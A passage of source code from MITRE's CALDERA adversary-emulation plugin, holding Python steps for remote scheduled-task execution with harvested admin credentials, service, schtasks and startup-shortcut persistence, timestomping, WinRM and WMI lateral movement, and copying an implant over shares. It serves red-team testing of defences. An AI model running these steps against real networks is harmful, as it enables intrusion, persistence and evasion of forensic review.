OPTimeDelta({"host": OPVar("dest_host")})), 28 | ('rat_file', OPFile({'host': OPVar('dest_host'), 'use_case': 'rat'})), 29 | ("cred", OPCredential({'$in': {'user': OPVar("dest_host.admins")}})), 30 | ('user', OPUser(OPVar("cred.user"))), 31 | ('domain', OPDomain(OPVar("user.domain")))] 32 | 33 | postconditions = [('schtask_g', OPSchtask({"host": OPVar("dest_host")})), 34 | ("rat_g", OPRat({"host": OPVar("dest_host"), "elevated": True, 35 | "executable": OPVar("rat_file.path")}))] 36 | 37 | not_equal = [('dest_host', 'rat.host')] 38 | 39 | preproperties = ['domain.windows_domain', 'time_delta.seconds', 'time_delta.microseconds', 'time_delta.days'] 40 | 41 | postproperties = ["schtask_g.name", 'schtask_g.exe_path', "schtask_g.arguments", "schtask_g.user", 42 | "schtask_g.cred", "schtask_g.start_time"] 43 | 44 | deterministic = True 45 | 46 | @staticmethod 47 | def description(rat, dest_host): 48 | return "Scheduling a task to execute on {}".format(dest_host.fqdn) 49 | 50 | @staticmethod 51 | async def simulate(operation, rat, time_delta, dest_host, user, rat_file, cred, domain, schtask_g, rat_g): 52 | return True 53 | 54 | @staticmethod 55 | async def action(operation, rat, time_delta, dest_host, user, rat_file, cred, domain, schtask_g, rat_g): 56 | delta = timedelta(seconds=time_delta['seconds'], 57 | microseconds=time_delta['microseconds'], 58 | days=time_delta['days']) 59 | 60 | task_name = 'caldera_task1' 61 | exe_path = rat_file.path 62 | arguments = '-d' 63 | 64 | t = tz_utcnow() - delta + timedelta(seconds=120) 65 | 66 | await operation.execute_shell_command(rat, *schtasks.create(task_name, exe_path, arguments=arguments, 67 | remote_host=dest_host.fqdn, 68 | user=user.username, user_domain=domain.windows_domain, 69 | password=cred.password, start_time=t, 70 | remote_user="SYSTEM")) 71 | 72 | await schtask_g({"name": task_name, 'exe_path': exe_path, "arguments": arguments, "user": user, 73 | "cred": cred, "start_time": t}) 74 | await rat_g() 75 | return True 76 | 77 | @staticmethod 78 | async def cleanup(cleaner, schtask_g): 79 | for schtask in schtask_g: 80 | await cleaner.delete(schtask) 81 | -------------------------------------------------------------------------------- /app/steps/schtaskspersist.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands import schtasks 2 | from plugins.adversary.app.operation.operation import Step, OPFile, OPHost, OPRat, OPVar, OPSchtask, OPPersistence 3 | 4 | 5 | class SchtasksPersist(Step): 6 | """ 7 | Description: 8 | This step involves scheduling a startup task on a target machine with the goal of maintaining persistence. 9 | Any RATs spawn via this method run as SYSTEM. 10 | Requirements: 11 | Requires an Elevated RAT, and a accessible copy of the RAT on the target machine. 12 | """ 13 | attack_mapping = [('T1053', 'Persistence'), ('T1106', 'Execution')] 14 | display_name = "schtasks_persist" 15 | summary = "Schedule a startup task to gain persistence using schtask.exe" 16 | 17 | preconditions = [("rat", OPRat({"elevated": True})), 18 | ("host", OPHost(OPVar("rat.host"))), 19 | ("rat_file", OPFile({"host": OPVar("host"), 'use_case': 'rat'}))] 20 | 21 | postconditions =[("schtask_g", OPSchtask({"host": OPVar("host"), "schedule_type": "onstart"})), 22 | ("persist_g", OPPersistence({"host": OPVar("host"), "elevated": True}))] 23 | 24 | significant_parameters = ['host'] 25 | 26 | preproperties = ["rat_file.path"] 27 | postproperties = ["persist_g.schtasks_artifact", 28 | "schtask_g.name", "schtask_g.exe_path"] 29 | 30 | @staticmethod 31 | def description(rat): 32 | return "Gaining persistence on {} by scheduling a startup task.".format(rat.host.hostname) 33 | 34 | @staticmethod 35 | async def simulate(operation, rat, host, rat_file, schtask_g, persist_g): 36 | return True 37 | 38 | @staticmethod 39 | async def action(operation, rat, host, rat_file, schtask_g, persist_g): 40 | task_name = operation.adversary_artifactlist.get_scheduled_task_word() 41 | exe_path = rat_file.path 42 | arguments = "" 43 | 44 | await operation.execute_shell_command(rat, *schtasks.create(task_name=task_name, arguments=arguments, 45 | exe_path=exe_path, 46 | remote_user="SYSTEM", schedule_type="ONSTART")) 47 | 48 | schtask = await schtask_g({"name": task_name, "exe_path": exe_path, "arguments": arguments}) 49 | await persist_g({"schtasks_artifact": schtask}) 50 | 51 | return True 52 | 53 | @staticmethod 54 | async def cleanup(cleaner, schtask_g): 55 | for schtask in schtask_g: 56 | await cleaner.delete(schtask) 57 | -------------------------------------------------------------------------------- /app/steps/scpersist.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands import sc 2 | from plugins.adversary.app.operation.operation import Step, OPFile, OPHost, OPRat, OPVar, OPPersistence, OPService 3 | 4 | 5 | class ScPersist(Step): 6 | """ 7 | Description: 8 | Creates a service on a target machine in order to establish persistence, using sc.exe. 9 | Requirements: 10 | Requires an elevated RAT, and a accessible copy of the RAT on the target machine. 11 | """ 12 | attack_mapping = [('T1050', 'Persistence'), ('T1050', 'Privilege Escalation'), ('T1106', 'Execution')] 13 | display_name = "sc_persist" 14 | summary = "Use sc.exe to achieve persistence by creating a service on compromised hosts" 15 | 16 | preconditions = [("rat", OPRat({"elevated": True})), 17 | ("host", OPHost(OPVar("rat.host"))), 18 | ('rat_file', OPFile({'host': OPVar('host'), 'use_case': 'rat'}))] 19 | 20 | postconditions = [("service_g", OPService({"host": OPVar("host")})), 21 | ("persist_g", OPPersistence({"host": OPVar("host"), "elevated": True}))] 22 | 23 | significant_parameters = ['host'] 24 | 25 | preproperties = ["rat_file.path"] 26 | 27 | postproperties = ["service_g.name", "persist_g.service_artifact", "service_g.bin_path"] 28 | 29 | @staticmethod 30 | def description(rat, host): 31 | return "Using sc.exe to create a service on {}".format(host.hostname) 32 | 33 | @staticmethod 34 | async def simulate(operation, rat, host, rat_file, service_g, persist_g): 35 | return True 36 | 37 | @staticmethod 38 | async def action(operation, rat, host, rat_file, service_g, persist_g): 39 | svcname = operation.adversary_artifactlist.get_service_word() 40 | bin_path = '"cmd /K start {}"'.format(rat_file.path) 41 | 42 | await operation.execute_shell_command(rat, *sc.create(bin_path, svcname)) 43 | 44 | service = await service_g({'name': svcname, 'bin_path': bin_path}) 45 | await persist_g({'service_artifact': service}) 46 | 47 | return True 48 | 49 | @staticmethod 50 | async def cleanup(cleaner, service_g): 51 | for service in service_g: 52 | await cleaner.delete(service) 53 | -------------------------------------------------------------------------------- /app/steps/shortcutmodify.py: -------------------------------------------------------------------------------- 1 | import plugins.adversary.app.config as config 2 | from plugins.adversary.app.commands import static 3 | from plugins.adversary.app.operation.operation import Step, OPRat, OPFile, OPPersistence, OPVar, OPHost 4 | 5 | 6 | class Modify_Shortcut(Step): 7 | """ 8 | Description: 9 | This step attempts to obtain persistence by creating and manipulating a shortcut in the 10 | Windows startup folder. 11 | Requirements: 12 | Requires an elevated rat on the target machine. 13 | """ 14 | attack_mapping = [('T1023', 'Persistence')] 15 | display_name = "shortcut_modify" 16 | summary = "Modifies a startup shortcut in order to maintain persistence" 17 | 18 | preconditions = [("rat", OPRat({"elevated": True})), 19 | ("host", OPHost(OPVar("rat.host")))] 20 | postconditions = [("file_g", OPFile), 21 | ("persistence_g", OPPersistence({"host": OPVar("host"), "elevated": True}))] 22 | 23 | preproperties = ["rat.host.fqdn"] 24 | 25 | significant_parameters = [] 26 | 27 | @staticmethod 28 | def description(): 29 | return "Installing startup shortcut for persistence" 30 | 31 | @staticmethod 32 | async def simulate(operation, rat, host, persistence_g, file_g): 33 | return True 34 | 35 | @staticmethod 36 | async def action(operation, rat, host, persistence_g, file_g): 37 | target_path = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\caldera.lnk" 38 | rat_loc = "C:\\totally_innocent_executable_seal.exe" 39 | await operation.drop_file(rat, rat_loc, config.settings.exe_rat_path) 40 | await operation.execute_shell_command(rat, *static.shortcutmodify(target_path, rat_loc)) 41 | ret = await file_g({'path': target_path, 'host': rat.host, 'use_case': 'dropped'}) 42 | await persistence_g({'host': rat.host, 'shortcut_artifact': ret}) 43 | await file_g({'path': target_path, 'host': rat.host, 'use_case': 'dropped'}) 44 | await file_g({'path': rat_loc, 'host': rat.host, 'use_case': 'dropped'}) 45 | return True 46 | 47 | @staticmethod 48 | async def cleanup(cleaner, file_g): 49 | for entry in file_g: 50 | await cleaner.delete(entry) 51 | 52 | -------------------------------------------------------------------------------- /app/steps/systeminfolocal.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands import systeminfo 2 | from plugins.adversary.app.operation.operation import Step, OPDomain, OPHost, OPRat, OPVar, OPOSVersion 3 | 4 | 5 | class SysteminfoLocal(Step): 6 | """ 7 | Description: 8 | This step enumerates the target machine locally using systeminfo.exe. 9 | Requirements: 10 | This step only requires the existence of a RAT on a host in order to run. 11 | """ 12 | attack_mapping = [("T1082", "Discovery"), ('T1106', 'Execution')] 13 | display_name = "systeminfo(local)" 14 | summary = "Use systeminfo.exe to enumerate the local system" 15 | 16 | preconditions = [('rat', OPRat), 17 | ('host', OPHost(OPVar('rat.host')))] 18 | postconditions = [('host_g', OPHost), 19 | ("domain_g", OPDomain), 20 | ("os_version_g", OPOSVersion)] 21 | 22 | postproperties = ['host_g.hostname', 'host_g.dns_domain_name', 'host_g.fqdn', 'host_g.systeminfo', 23 | 'host_g.os_version', 'domain_g.windows_domain', 'domain_g.dns_domain'] 24 | 25 | significant_parameters = ['host'] 26 | 27 | @staticmethod 28 | def description(rat): 29 | return "Using systeminfo.exe to enumerate {}".format(rat.host.hostname) 30 | 31 | @staticmethod 32 | async def simulate(operation, rat, host, host_g, domain_g, os_version_g): 33 | return True 34 | 35 | @staticmethod 36 | async def action(operation, rat, host, host_g, domain_g, os_version_g): 37 | info = await operation.execute_shell_command(rat, *systeminfo.csv()) 38 | 39 | # Domain info 40 | await domain_g({'windows_domain': info['Domain'].split('.')[0], 'dns_domain': info['Domain']}) 41 | 42 | # Add info about our current host. If we need more host information pulled with systeminfo in the future add it 43 | # here. 44 | host_fqdn = '.'.join([info['Host Name'], info['Domain']]).lower() 45 | # Update the host attributes that we're tracking. Also, save the command result to the database as a text 46 | # string. 47 | os_version = await os_version_g({**info['parsed_version_info']}) 48 | await host_g({'hostname': info['Host Name'].lower(), 'dns_domain_name': info['Domain'], 'fqdn': host_fqdn, 49 | 'system_info': info['_original_text'], 'os_version': os_version}) 50 | 51 | # If the RAT is running in a Domain user's context we can find a DC with this (does nothing if we're SYSTEM): 52 | if info['Logon Server'] != 'N/A': 53 | logon_server_fqdn = '.'.join([info['Logon Server'].strip('\\\\'), info['Domain']]).lower() 54 | await host_g({'fqdn': logon_server_fqdn, 'hostname': info['Logon Server'].strip('\\\\').lower(), 55 | 'dns_domain_name': info['Domain']}) 56 | 57 | return True 58 | -------------------------------------------------------------------------------- /app/steps/systeminforemote.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands import systeminfo 2 | from plugins.adversary.app.operation.operation import Step, OPUser, OPDomain, OPCredential, OPHost, OPRat, OPVar, OPOSVersion 3 | 4 | 5 | class SysteminfoRemote(Step): 6 | """ 7 | Description: 8 | This step enumerates a target machine located remotely on a network. 9 | Requirements: 10 | Requires enumeration of the target host, credentials for an administrator on the target host (needs both 11 | administrator enumeration 'GetAdmin', and credential data 'Credentials'), and domain enumeration. 12 | """ 13 | attack_mapping = [("T1082", "Discovery"), ('T1106', 'Execution')] 14 | display_name = "systeminfo(remote)" 15 | summary = "Use systeminfo.exe to enumerate a remote system" 16 | 17 | preconditions = [('rat', OPRat), 18 | ('host', OPHost(OPVar('rat.host'))), 19 | ('dest_host', OPHost), 20 | ("cred", OPCredential({'$in': {'user': OPVar("dest_host.admins")}})), 21 | ('user', OPUser(OPVar("cred.user"))), 22 | ('domain', OPDomain(OPVar("user.domain")))] 23 | postconditions = [('host_g', OPHost), 24 | ("domain_g", OPDomain), 25 | ('os_version_g', OPOSVersion)] 26 | 27 | postproperties = ['host_g.hostname', 'host_g.dns_domain_name', 'host_g.fqdn', 28 | 'domain_g.windows_domain', 'domain_g.dns_domain', 'host_g.systeminfo', 'host_g.os_version'] 29 | 30 | not_equal = [('dest_host', 'rat.host')] 31 | 32 | significant_parameters = ['dest_host'] 33 | 34 | @staticmethod 35 | def description(rat, host, dest_host): 36 | return "Using systeminfo.exe to remotely enumerate {}".format(dest_host.hostname) 37 | 38 | @staticmethod 39 | async def simulate(operation, rat, host, dest_host, cred, user, domain, host_g, domain_g, os_version_g): 40 | return True 41 | 42 | @staticmethod 43 | async def action(operation, rat, host, dest_host, cred, user, domain, host_g, domain_g, os_version_g): 44 | info = await operation.execute_shell_command(rat, *systeminfo.csv(remote_host=dest_host.fqdn, 45 | user_domain=domain.windows_domain, 46 | user=user.username, 47 | password=cred.password)) 48 | 49 | # Domain info -- kind of redundant to leave this in for the remote technique. 50 | await domain_g({'windows_domain': info['Domain'].split('.')[0], 'dns_domain': info['Domain']}) 51 | 52 | # Add info about our current host. If we need more host information pulled with systeminfo in the future add it 53 | # here. 54 | host_fqdn = '.'.join([info['Host Name'], info['Domain']]).lower() 55 | os_version = await os_version_g({**info['parsed_version_info']}) 56 | await host_g({'hostname': info['Host Name'].lower(), 'dns_domain_name': info['Domain'], 'fqdn': host_fqdn, 57 | 'system_info': info['_original_text'], 'os_version': os_version}) 58 | 59 | # If the RAT is running in a Domain user's context we can find a DC with this (does nothing if we're SYSTEM): 60 | if info['Logon Server'] != 'N/A': 61 | logon_server_fqdn = '.'.join([info['Logon Server'].strip('\\\\'), info['Domain']]).lower() 62 | await host_g({'fqdn': logon_server_fqdn, 'hostname': info['Logon Server'].strip('\\\\').lower(), 63 | 'dns_domain_name': info['Domain']}) 64 | 65 | return True 66 | -------------------------------------------------------------------------------- /app/steps/tasklistlocal.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands import tasklist 2 | from plugins.adversary.app.operation.operation import Step, OPHost, OPRat, OPVar, OPProcess 3 | 4 | 5 | class TasklistLocal(Step): 6 | """ 7 | Description: 8 | This step locally enumerates the processes currently running on a target machine using tasklist.exe. 9 | This enumeration provides information about the processes, as well as associated services and modules. 10 | Requirements: 11 | This step only requires the existence of a RAT on a host in order to run. 12 | """ 13 | attack_mapping = [("T1057", "Discovery"), ("T1007", "Discovery"), ('T1106', 'Execution')] 14 | display_name = "tasklist(local)" 15 | summary = "Enumerate process information using tasklist on the local system. The command is run 3 times with the" \ 16 | " /v (verbose), /svc (service) and /m (modules) flags" 17 | 18 | preconditions = [('rat', OPRat), 19 | ('host', OPHost(OPVar('rat.host')))] 20 | postconditions = [("process_g", OPProcess({'$in': OPVar("host.processes")}))] 21 | 22 | postproperties = ['process_g.host', 'host.processes'] 23 | 24 | significant_parameters = ['host'] 25 | 26 | @staticmethod 27 | def description(rat): 28 | return "Using tasklist.exe to enumerate processes on {}".format(rat.host.hostname) 29 | 30 | @staticmethod 31 | async def simulate(operation, rat, host, process_g): 32 | return True 33 | 34 | @staticmethod 35 | async def action(operation, rat, host, process_g): 36 | processes = await operation.execute_shell_command(rat, *tasklist.main(verbose=True)) 37 | 38 | # Add host to process dictionaries 39 | [proc.update({'host': host}) for proc in processes] 40 | 41 | is_equivalent = lambda proc1, proc2: True if (proc1['pid'] == proc2['pid'] and 42 | proc1['image_name'] == proc2['image_name']) else False 43 | 44 | # Add service information to processes (use is_equivalent lambda to look for matching processes) 45 | service_information = await operation.execute_shell_command(rat, *tasklist.main(services=True)) 46 | [old.update(new) if is_equivalent(old, new) else None for old in processes for new in service_information] 47 | # TODO: Add service results to Observed_Services in db after change to new technique cleanup is done. 48 | 49 | # Add module information to processes 50 | modules_information = await operation.execute_shell_command(rat, *tasklist.main(modules=True)) 51 | [old.update(new) if is_equivalent(old, new) else None for old in processes for new in modules_information] 52 | 53 | for proc in processes: 54 | await process_g(proc) 55 | 56 | return True 57 | -------------------------------------------------------------------------------- /app/steps/tasklistremote.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands import tasklist 2 | from plugins.adversary.app.operation.operation import Step, OPUser, OPDomain, OPCredential, OPHost, OPRat, OPVar, OPProcess 3 | 4 | 5 | class TasklistRemote(Step): 6 | """ 7 | Description: 8 | This step enumerates the processes currently running on a remote target machine using tasklist.exe. 9 | This enumeration provides information about the processes, as well as associated services and modules. 10 | Requirements: 11 | Requires enumeration of the target host, domain enumeration, and credentials of an administrator on the 12 | target machine (needs both administrator enumeration 'GetAdmin', and credential data 'Credentials'). 13 | """ 14 | attack_mapping = [("T1057", "Discovery"), ("T1007", "Discovery"), ('T1106', 'Execution')] 15 | display_name = "tasklist(remote)" 16 | summary = "Enumerate process information using tasklist on a remote host. The command is run 3 times with the " \ 17 | "/v (verbose), /svc (service) and /m (modules) flags" 18 | 19 | preconditions = [('rat', OPRat), 20 | ('host', OPHost), 21 | ("cred", OPCredential({'$in': {'user': OPVar("host.admins")}})), 22 | ('user', OPUser(OPVar("cred.user"))), 23 | ('domain', OPDomain(OPVar("user.domain")))] 24 | 25 | postconditions = [('process_g', OPProcess), 26 | ('host_g', OPHost)] 27 | 28 | postproperties = ['process_g.host', 'host.processes'] 29 | 30 | not_equal = [('host', 'rat.host')] 31 | 32 | significant_parameters = ['host'] 33 | 34 | @staticmethod 35 | def description(rat, host): 36 | return "Using tasklist.exe to remotely enumerate processes on {} from {}".format(host.hostname, rat.host.hostname) 37 | 38 | @staticmethod 39 | async def simulate(operation, rat, host, cred, user, domain, process_g, host_g): 40 | return True 41 | 42 | @staticmethod 43 | async def action(operation, rat, host, cred, user, domain, process_g, host_g): 44 | processes = await operation.execute_shell_command(rat, *tasklist.main(verbose=True, 45 | remote_host=host.hostname, 46 | user_domain=domain.windows_domain, 47 | user=user.username, 48 | password=cred.password)) 49 | # Add host to process dictionaries 50 | [proc.update({'host': host}) for proc in processes] 51 | 52 | is_equivalent = lambda proc1, proc2: True if (proc1['pid'] == proc2['pid'] and 53 | proc1['image_name'] == proc2['image_name']) else False 54 | 55 | # Add service information to processes (use is_equivalent lambda to look for matching processes) 56 | service_information = await operation.execute_shell_command(rat, *tasklist.main(services=True, 57 | remote_host=host.hostname, 58 | user_domain=domain.windows_domain, 59 | user=user.username, 60 | password=cred.password)) 61 | [old.update(new) if is_equivalent(old, new) else None for old in processes for new in service_information] 62 | # TODO: Add service results to Observed_Services in db after change to new technique cleanup is done. 63 | 64 | # Add module information to processes 65 | modules_information = await operation.execute_shell_command(rat, *tasklist.main(modules=True, 66 | remote_host=host.hostname, 67 | user_domain=domain.windows_domain, 68 | user=user.username, 69 | password=cred.password)) 70 | [old.update(new) if is_equivalent(old, new) else None for old in processes for new in modules_information] 71 | 72 | for proc in processes: 73 | await process_g(proc) 74 | 75 | return True 76 | -------------------------------------------------------------------------------- /app/steps/timestomp.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands.powershell import PSArg, PSFunction 2 | from plugins.adversary.app.operation.operation import Step, OPFile, OPHost, OPRat, OPVar 3 | from plugins.adversary.app.commands import parsers 4 | 5 | 6 | class Timestomp(Step): 7 | """ 8 | Description: 9 | This step adjusts the logged timestamps for a target file to match those of a similar file. The cleanup 10 | process restores the original timestamps for the file. 11 | Requirements: 12 | Requires administrative access on the target machine. 13 | """ 14 | attack_mapping = [('T1099', 'Defense Evasion'), ('T1106', 'Execution')] 15 | display_name = "timestomp" 16 | summary = "Reduce suspicion of a copied file by altering its timestamp to look legitimate" 17 | 18 | preconditions = [("rat", OPRat({"elevated": True})), 19 | ("host", OPHost(OPVar("rat.host"))), 20 | ('file', OPFile({'host': OPVar('host')}))] 21 | 22 | postconditions = [("file_g", OPFile)] 23 | 24 | postproperties = ["file_g.new_creation_time", "file_g.new_last_access", 25 | "file_g.new_last_write", "file_g.old_creation_time", 26 | "file_g.old_last_access", "file_g.last_write", 27 | "file_g.timestomped"] 28 | 29 | # Prevents the rat's timestamps from being altered (attempting to timestamp the rat produces an error) 30 | # Comment this next line out for testing 31 | not_equal = [('file.path', 'rat.executable')] 32 | 33 | @staticmethod 34 | def description(file, host): 35 | return "Modifying the timestamp of {} on {}".format(file.path, host.fqdn) 36 | 37 | @staticmethod 38 | async def simulate(operation, rat, host, file, file_g): 39 | return True 40 | 41 | @staticmethod 42 | async def action(operation, rat, host, file, file_g): 43 | results = await operation.execute_powershell(rat, "timestomper", 44 | PSFunction('Perform-Timestomp', PSArg('FileLocation', file.path), 45 | PSArg('Verbose')), parsers.timestomp.timestomp) 46 | 47 | # Don't parse if type 0 failure 48 | if results == {}: 49 | return False 50 | # Unpack parser... 51 | if results["TimestampModified"] == "True": 52 | timestamp_modified = True 53 | else: 54 | timestamp_modified = False 55 | 56 | await file_g({'path': file.path, 57 | 'host': file.host, 58 | 'use_case': file.use_case, 59 | 'new_creation_time': results["CreationTime"], 60 | 'new_last_access': results["LastAccessTime"], 61 | 'new_last_write': results["LastWriteTime"], 62 | 'old_creation_time': results["OldCreationTime"], 63 | 'old_last_access': results["OldAccessTime"], 64 | 'old_last_write': results["OldWriteTime"], 65 | 'timestomped': timestamp_modified 66 | }) 67 | 68 | return True 69 | 70 | # Resets the timestamp of the file 71 | @staticmethod 72 | async def cleanup(cleaner, host, file_g): 73 | for file in file_g: 74 | try: 75 | await cleaner.revert_timestamp(host, file) 76 | except AttributeError: 77 | continue 78 | -------------------------------------------------------------------------------- /app/steps/windowsremotemanagement.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands import winrm 2 | from plugins.adversary.app.operation.operation import Step, OPRat, OPFile, OPHost, OPVar, OPCredential, OPUser, OPDomain 3 | 4 | 5 | class WinRM(Step): 6 | """ 7 | Description: 8 | This step attempts to move laterally between to machines utilizing WinRM. This assumes that 9 | WinRM is enabled on the target machine in order to function (PS: Enable-PSRemoting -Force) 10 | Requirements: 11 | Requires an elevated Rat. 12 | """ 13 | attack_mapping = [('T1028', 'Lateral Movement'), ('T1028', 'Execution')] 14 | display_name = "WinRM" 15 | summary = "Attempts to use WinRM to move to a remote computer" 16 | 17 | preconditions = [("rat", OPRat({"elevated": True})), 18 | ("dest_host", OPHost), 19 | ('rat_file', OPFile({'host': OPVar('dest_host'), 'use_case': 'rat'})), 20 | ("cred", OPCredential({'$in': {'user': OPVar("dest_host.admins")}})), 21 | ('user', OPUser(OPVar("cred.user"))), 22 | ('domain', OPDomain(OPVar("user.domain")))] 23 | 24 | postconditions = [("rat_g", OPRat({"host": OPVar("dest_host"), "elevated": True, 25 | "executable": OPVar("rat_file.path")}))] 26 | 27 | not_equal = [('dest_host', 'rat.host')] 28 | 29 | preproperties = ['domain.windows_domain'] 30 | 31 | postproperties = [] 32 | 33 | significant_parameters = [] 34 | 35 | @staticmethod 36 | def description(dest_host, user): 37 | return "Executing WinRM lateral movement to {} as {}".format(dest_host.fqdn, user.username) 38 | 39 | @staticmethod 40 | async def simulate(operation, rat, dest_host, rat_file, cred, user, domain, rat_g): 41 | return True 42 | 43 | @staticmethod 44 | async def action(operation, rat, dest_host, rat_file, cred, user, domain, rat_g): 45 | await operation.execute_shell_command(rat, *winrm.lateral_movement(dest_host.fqdn, cred.password, 46 | domain.windows_domain, user.username, 47 | rat_file.path)) 48 | await rat_g() 49 | return True 50 | 51 | @staticmethod 52 | async def cleanup(cleaner): 53 | pass -------------------------------------------------------------------------------- /app/steps/wmiremoteprocesscreate.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands import wmic 2 | from plugins.adversary.app.operation.operation import Step, OPUser, OPDomain, OPFile, OPCredential, OPHost, OPRat, OPVar 3 | 4 | 5 | class WMIRemoteProcessCreate(Step): 6 | """ 7 | Description: 8 | This step starts a process on a remote machine, using the Windows Management Interface (wmic). This allows 9 | for lateral movement throughout the network. 10 | Requirements: 11 | Requires domain enumeration, access to a copy of the RAT on the target machine (usually accomplished using 12 | Copy or Xcopy), and credentials for an administrator on the target machine (needs both administrator enumeration 13 | 'GetAdmin', and credential data 'Credentials'). 14 | """ 15 | attack_mapping = [('T1047', 'Execution'), ('T1078', 'Persistence'), ('T1078', 'Defense Evasion'), 16 | ('T1106', 'Execution')] 17 | display_name = "remote_process(WMI)" 18 | summary = "Use WMI to start a process on a remote computer" 19 | 20 | value = 20 21 | 22 | preconditions = [("rat", OPRat), 23 | ('dest_host', OPHost), 24 | ('rat_file', OPFile({'host': OPVar('dest_host'), 'use_case': 'rat'})), 25 | ("cred", OPCredential({'$in': {'user': OPVar("dest_host.admins")}})), 26 | ('user', OPUser(OPVar("cred.user"))), 27 | ('domain', OPDomain(OPVar("user.domain")))] 28 | 29 | postconditions = [("rat_g", OPRat({"host": OPVar("dest_host"), "elevated": True, 30 | "executable": OPVar("rat_file.path")}))] 31 | 32 | not_equal = [('dest_host', 'rat.host')] 33 | 34 | preproperties = ['rat_file.path', 'domain.windows_domain', 'dest_host.fqdn', 'user.username', 'cred.password'] 35 | 36 | deterministic = True 37 | 38 | cddl = """ 39 | Knowns: 40 | rat: OPRat[host] 41 | dest_host: OPHost 42 | rat_file: OPFile[path, host] 43 | cred: OPCredential[user[domain[windows_domain]], password] 44 | Where: 45 | rat.host != dest_host 46 | rat_file.host == dest_host 47 | Effects: 48 | if not exist rat { 49 | forget rat 50 | } elif cred.user in dest_host.admins { 51 | create OPRat[host=dest_host, elevated=True, executable=rat_file.path] 52 | } 53 | """ 54 | 55 | @staticmethod 56 | def description(rat, dest_host): 57 | return "Starting a remote process on {} using WMI.".format(dest_host.fqdn) 58 | 59 | @staticmethod 60 | async def action(operation, rat, dest_host, user, rat_file, cred, domain, rat_g): 61 | await operation.execute_shell_command(rat, *wmic.create(rat_file.path, arguments='-d -f', 62 | remote_host=dest_host.fqdn, user=user.username, 63 | user_domain=domain.windows_domain, 64 | password=cred.password)) 65 | await rat_g() 66 | return True 67 | -------------------------------------------------------------------------------- /app/steps/xcopy.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands import xcopy 2 | from plugins.adversary.app.operation.operation import Step, OPFile, OPRat, OPVar, OPShare 3 | 4 | 5 | class XCopy(Step): 6 | """ 7 | Description: 8 | This step copies a file from a local machine to a remote machine on the network using a share. 9 | Requirements: 10 | Requires a pre-existing share on the target remote machine (usually created using NetUse). 11 | """ 12 | display_name = "xcopy file" 13 | summary = "Use xcopy.exe to copy a file from a computer to another using a network share" 14 | attack_mapping = [('T1105', 'Lateral Movement')] 15 | 16 | preconditions = [("rat", OPRat), 17 | ("share", OPShare({"src_host": OPVar("rat.host")}))] 18 | postconditions = [("file_g", OPFile({'host': OPVar("share.dest_host")}))] 19 | 20 | preproperties = ['rat.executable', 'share.share_path'] 21 | 22 | deterministic = True 23 | 24 | @staticmethod 25 | def description(rat, share): 26 | return "XCopying an implant from {} to {}".format(rat.host.fqdn, share.dest_host.fqdn) 27 | 28 | @staticmethod 29 | async def simulate(operation, rat, share, file_g): 30 | return True 31 | 32 | @staticmethod 33 | async def action(operation, rat, share, file_g): 34 | # NOTE: Because of the way XCopy is invoked, we can't tell if it was successful or not by parsing stdout. 35 | # So, it is assumed that XCopy was successful. 36 | file_name = operation.adversary_artifactlist.get_executable_word() 37 | target_path = "{share_path}\\{file_name}".format(share_path=share.share_path, file_name=file_name) 38 | await operation.execute_shell_command(rat, *xcopy.file(rat.executable, target_path, overwrite_destination=True)) 39 | await file_g({'src_host': share.src_host, 'src_path': rat.executable, 'path': target_path, 'use_case': 'rat'}) 40 | return True 41 | 42 | @staticmethod 43 | async def cleanup(cleaner, file_g): 44 | for file in file_g: 45 | await cleaner.delete(file) 46 | -------------------------------------------------------------------------------- /app/utility/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/app/utility/__init__.py -------------------------------------------------------------------------------- /app/utility/general.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import os 3 | 4 | from cryptography.fernet import Fernet 5 | 6 | """ 7 | This module is designed to hold general utility functions for use across the application 8 | """ 9 | 10 | 11 | def nested_get(input_dict, nested_key): 12 | try: 13 | internal_dict_value = input_dict 14 | for k in nested_key: 15 | internal_dict_value = internal_dict_value.get(k, None) 16 | if internal_dict_value is None: 17 | return None 18 | return internal_dict_value 19 | except Exception: 20 | return None 21 | 22 | 23 | def decrypt(key, value): 24 | prefix = b'$$$$:' 25 | return Fernet(key).decrypt(value[len(prefix):]).decode('utf-8') 26 | 27 | 28 | def encrypt(key, value): 29 | prefix = b'$$$$:' 30 | return prefix + Fernet(key).encrypt(value.encode('utf-8')) 31 | 32 | 33 | @asyncio.coroutine 34 | def save_file_async(directory, r): 35 | data = yield from r.post() 36 | filename = data['file'].filename 37 | input_file = data['file'].file 38 | with open('%s/%s' % (directory, filename), 'wb') as fd: 39 | while True: 40 | chunk = input_file.read(1024) 41 | if not chunk: 42 | break 43 | fd.write(chunk) 44 | return filename 45 | 46 | 47 | def save_file_sync(directory, r): 48 | r.save(os.path.join(directory, r.filename)) 49 | return r.filename 50 | 51 | 52 | def collect_files(directory): 53 | found = os.listdir(directory) 54 | return [x for x in found if not x.startswith('.')] 55 | 56 | 57 | def string_to_bool_for_entry(normalize_string): 58 | if type(normalize_string) is bool: 59 | return normalize_string 60 | if normalize_string.lower() in ('true', 't'): 61 | return True 62 | return False 63 | -------------------------------------------------------------------------------- /app/utility/op_control.py: -------------------------------------------------------------------------------- 1 | from enum import Enum 2 | import asyncio 3 | 4 | 5 | class OpState(Enum): 6 | RUN = 'RUNNING' 7 | PAUSE = 'PAUSED' 8 | CANCEL = 'CANCELED' 9 | 10 | 11 | class OpControl: 12 | def __init__(self, dao): 13 | self.state = OpState.RUN 14 | self.dao = dao 15 | 16 | async def get_state(self, operation): 17 | op_data = await self.dao.get('opstate', dict(operation=operation)) 18 | if len(op_data) > 0: 19 | return op_data[0].get('state') 20 | return '' 21 | 22 | async def check_status(self, operation): 23 | while True: 24 | state = await self.get_state(operation) 25 | if state 